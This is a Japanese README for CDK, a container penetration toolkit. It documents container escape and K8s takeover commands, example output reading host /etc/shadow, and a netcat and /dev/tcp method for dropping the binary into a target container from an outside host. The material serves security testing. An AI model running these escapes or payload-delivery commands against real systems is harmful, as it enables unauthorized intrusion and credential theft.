
📦 K8s、Docker、Containerdのセキュリティテストを簡単にします。
英語 | 简体中文

事前の相互同意なしにCDKを使用してターゲットを攻撃することは違法です。CDKはセキュリティテスト目的のみに使用されます。
CDKは、オープンソースのコンテナペネトレーションツールキットであり、OSに依存せずに様々なスリム化されたコンテナで安定したエクスプロイトを提供するように設計されています。便利なネットツールと多くの強力なPoC/EXPが付属しており、コンテナからの脱出やK8sクラスターの乗っ取りを容易にします。
cdk eva を実行して評価情報と推奨エクスプロイトを取得し、次に cdk run を実行して攻撃を開始します。
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
最新リリースを https://github.com/cdk-team/CDK/releases/ からダウンロードします。
実行可能ファイルをターゲットコンテナにドロップしてテストを開始します。
ファイルをアップロードできるエクスプロイトがある場合、CDKバイナリを直接アップロードできます。
RCEエクスプロイトがあるが、ターゲットコンテナに curl や wget がない場合、以下の方法でCDKを配信できます:
(ホスト側)
nc -lvp 999 < cdk
cat < /dev/tcp/(あなたのパブリックホストIP)/(ポート) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate コンテナ内部の情報を収集して脆弱性を発見します。
cdk evaluate --full 情報収集時にファイルスキャンを有効にします。
Exploit:
cdk run --list 利用可能なエクスプロイトをすべて表示します。
cdk run <exploit> [<args>...] 単一のエクスプロイトを実行します。詳細は https://github.com/cdk-team/CDK/wiki を参照。
Tool:
vi <file> "vi" コマンドのようにコンテナ内のファイルを編集します。
ps "ps -ef" コマンドのようにプロセス情報を表示します。
nc [options] TCP トンネルを作成します。
ifconfig ネットワーク情報を表示します。
kcurl <path> (get|post) <uri> <data> K8s api-server にリクエストを送信します。
ectl <endpoint> get <key> ectd キーの不正列挙を行います。
ucurl (get|post) <socket> <uri> <data> Docker Unix ソケットにリクエストを送信します。
probe <ip> <port> <parallel> <timeout-ms> TCP ポートスキャン、例: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help このヘルプメッセージを表示します。
-v --version バージョンを表示します。
--profile=<name> 評価プロファイルを選択します。
CDKには3つのモジュールがあります:
使い方
cdk evaluate [--full]
| 戦術 | スクリプト | サポート | 使用法/例 |
|---|---|---|---|
| 情報収集 | OS基本情報 | ✔ | link |
| 情報収集 | 利用可能なCapabilities | ✔ | link |
| 情報収集 | 利用可能なLinuxコマンド | ✔ | link |
| 情報収集 | マウント | ✔ | link |
| 情報収集 | ネット名前空間 | ✔ | link |
| 情報収集 | 機密ENV | ✔ | link |
| 情報収集 | 機密プロセス | ✔ | link |
| 情報収集 | 機密ローカルファイル | ✔ | link |
| 情報収集 | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| 情報収集 | DNSベースのサービスディスカバリ | ✔ | link |
| 発見 | K8s Api-server情報 | ✔ | link |
| 発見 | K8s Service-account情報 | ✔ | link |
| 発見 | クラウドプロバイダーメタデータAPI | ✔ | link |
利用可能なエクスプロイトをすべて表示:
cdk run --list
ターゲットを指定してエクスプロイトを実行:
cdk run <script-name> [options]